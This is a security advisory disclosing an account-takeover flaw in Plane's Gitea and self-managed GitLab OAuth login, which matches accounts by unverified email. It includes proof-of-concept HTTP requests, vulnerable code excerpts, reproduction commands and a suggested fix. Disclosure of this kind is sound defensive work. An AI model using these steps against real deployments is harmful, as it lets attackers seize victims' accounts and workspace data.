Skip to content

Account Takeover via Unverified OAuth Email Match (Gitea, self-managed GitLab)

Critical
mguptahub published GHSA-7j95-vh8g-f365 Aug 3, 2026

Software

makeplane/plane

Affected versions

<= 1.3.1

Patched versions

1.4.0

Description

AI/LLM disclosure

Our local AI agent accelerated recon during this engagement: enumerating the OAuth providers Plane ships, reading each provider's email-selection code, and locating the login path that matches accounts by email. I authored the vulnerability hypothesis and both PoCs, and I executed the live verification against a Plane Community Edition v1.2.3 docker-compose deployment and a Gitea 1.21 instance myself. No SaaS LLM received private credentials or non-public information beyond the open repository contents.

Precondition

The Plane instance authenticates with Gitea OAuth, or with self-managed GitLab OAuth (GITLAB_HOST set to an instance other than gitlab.com) where email confirmation is disabled. github.com and gitlab.com and Google are not affected because those providers only return verified emails; the defect is in Plane trusting the provider unconditionally.

Live PoC

The attacker holds no Plane account and does not know the victim's password. The attacker controls one Gitea identity whose email field is the victim's address. Victim bob@plane.test is a password account created independently in Plane.

Plane half (end to end). The attacker starts Gitea OAuth, then returns to the callback:

GET /auth/gitea/
HTTP/1.1 302 Found
Location: http://<gitea-host>/login/oauth/authorize?client_id=...&state=c4a3350b9d8443a59aa42052e50cbaa4

GET /auth/gitea/callback/?code=anyauthcode&state=c4a3350b9d8443a59aa42052e50cbaa4
Cookie: <attacker session>
HTTP/1.1 302 Found
Set-Cookie: session-id=<issued by Plane>

The resulting session belongs to the victim:

GET /api/users/me/
Cookie: session-id=<from the callback>

HTTP/1.1 200 OK
{"id":"36e49693-873d-4408-9640-fb75722dbbba","display_name":"bob","email":"bob@plane.test","is_email_verified":true,"is_password_autoset":false,"last_login_medium":"gitea"}

is_password_autoset:false shows bob is a pre-existing password account, not an OAuth-created one. last_login_medium:gitea shows the session was minted through the OAuth path. The attacker never supplied bob's password.

Gitea half (reachability). A real Gitea 1.21 with the default posture (REGISTER_EMAIL_CONFIRM=false, mailer disabled, registration open) hands out an attacker-chosen unverified email through the exact endpoint Plane reads:

POST /user/sign_up      (self-service, no admin)
user_name=attacker2 & email=victim2@corp.test & password=...
HTTP/1.1 303 See Other

GET /api/v1/user
Authorization: Basic attacker2:...
HTTP/1.1 200 OK
{"id":1,"login":"attacker2","email":"victim2@corp.test","active":true, ...}

The account is active immediately and its /api/v1/user email is whatever the attacker typed. Set it to a victim's address and the Plane half above logs the attacker into that victim's account.

Root cause

apps/api/plane/authentication/adapter/base.py:289-360, complete_login_or_signup:

def complete_login_or_signup(self):
    email = self.user_data.get("email")
    email = self.sanitize_email(email)          # format validation only
    user = User.objects.filter(email=email).first()   # line 297
    is_signup = bool(user)
    if not user:
        ...                                     # new-user branch
    ...
    user = self.save_user_data(user=user)       # logs the matched account in
    ...

Line 297 selects the local account by email string. Nothing on this path inspects an email_verified claim, and nothing requires that the matched account was originally created through OAuth. A password account is logged in the same way. The provider's set_user_data supplies the email:

apps/api/plane/authentication/provider/oauth/gitea.py:149-173:

def set_user_data(self):
    user_info_response = self.get_user_response()
    ...
    email = user_info_response.get("email")     # line 157: profile email, taken first
    if not email:
        email = self.__get_email(headers=headers)
    super().set_user_data({"email": email, ...})

Line 157 takes the profile email from GET /api/v1/user first and only falls back to the primary-and-verified preference at gitea.py:134 when that field is empty, which it is not in normal accounts. The callback then logs the matched user in without further checks (apps/api/plane/authentication/views/app/gitea.py:91-93: user = provider.authenticate(); user_login(request=request, user=user, is_app=True)).

Provider scope

Provider Email source Verified check Affected
Gitea gitea.py:157 profile email, taken first none for the profile email yes, default Gitea config
GitLab gitlab.py:111 /api/v4/user email none self-managed with confirmation off; gitlab.com verifies
GitHub github.py:120 primary email none in code, but github.com enforces primary==verified no on github.com
Google userinfo email none in code, Google verifies no on Google

The base defect (no email_verified gate, password accounts logged in by email match) is provider-agnostic. It is reachable wherever the configured provider returns an attacker-controlled unverified email.

Suggested fix

Require a verified email before matching to an existing account. Two parts:

  1. Carry the provider's verification signal into user_data and reject the login when it is absent or false. For Gitea, select the email through the primary-and-verified path (gitea.py:134) instead of the raw profile field at line 157, and treat a missing verified email as an error rather than falling through to the unverified profile value. For GitLab, request and check the verified email. For Google, check email_verified. GitHub already restricts to the primary email but should also assert the verified flag from /user/emails.

  2. In complete_login_or_signup, do not log a user into a pre-existing local account through OAuth unless either the account was created through OAuth or the provider asserted a verified email that matches. Linking a new provider to an existing password account should be an explicit, authenticated action, not an implicit side effect of an email string match.

Impact

On a Plane instance configured with Gitea OAuth (or self-managed GitLab without email confirmation), the holder of a provider account whose email is set to a victim's address logs into that victim's Plane account, with full access to the victim's workspaces, projects, and data, and no knowledge of the victim's password. The attacker needs only the victim's email address, which is routinely known or enumerable. Targeting a workspace owner or admin yields control of that workspace.

CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N (9.1, Critical). The metric choices, scored within the affected configuration that this report addresses (an instance with Gitea or self-managed GitLab OAuth enabled):

  • AC:L: the precondition that the instance uses an affected provider is stated as the affected configuration, not folded into access complexity. Within that configuration the attack carries no race, no man-in-the-middle, and no target preparation beyond the attacker's control. On a default Gitea (open registration, mailer disabled, REGISTER_EMAIL_CONFIRM=false) the attacker self-registers the victim's email and the login succeeds on the first attempt.
  • PR:N: the attack needs no privileges on Plane. The provider account is not a Plane privilege.
  • C:H/I:H: the session is the victim's, so the attacker reads and modifies all of the victim's data.
  • A:N: the takeover compromises confidentiality and integrity directly. Denial of the victim's resources (deleting a workspace the attacker now controls) is a downstream consequence of the integrity impact rather than a separate primary impact, so availability is left at None.

Provider note: on Gitea the path is unconditional in the default posture, since gitea.py:157 returns the unverified profile email. On self-managed GitLab the exploitability additionally depends on the instance running with email confirmation disabled; gitlab.com is not affected.

Affected versions confirmed

  • Tag v1.2.3: exploited end to end with the PoC above.
  • Tag v1.3.1 (latest stable, 2026-04-12): same code at base.py:297, gitea.py:157, gitea.py:91-93.
  • preview HEAD 039d582 (2026-05-21): same code.

Reproduction

Two attachments: poc_oauth_email_match_ato.sh (drives the Plane initiate and callback, then reads /api/users/me/) and mock_oauth_provider.py (a userinfo endpoint that returns a chosen email, standing in for the attacker's provider account so the chain reproduces without a second host).

python3 mock_oauth_provider.py        (serves /api/v1/user with the victim email on :3300)

Point the instance Gitea config at the provider (set GITEA_HOST to the running provider, GITEA_CLIENT_ID and GITEA_CLIENT_SECRET to any value), create a victim password account, then:

PLANE_BASE=http://localhost:18080 VICTIM_EMAIL=bob@plane.test bash poc_oauth_email_match_ato.sh

Expected: HTTP 302 on the callback, then /api/users/me/ returns the victim email with is_password_autoset:false and last_login_medium:gitea. The included oauth_email_match_ato_transcript.txt also records a real Gitea 1.21 returning an attacker-chosen unverified email from /api/v1/user.

Attachments to include in the submission

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

CVE ID

No known CVE

Weaknesses

Improper Authentication

When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct. Learn more on MITRE.

Authentication Bypass by Spoofing

This attack-focused weakness is caused by incorrectly implemented authentication schemes that are subject to spoofing attacks. Learn more on MITRE.

Credits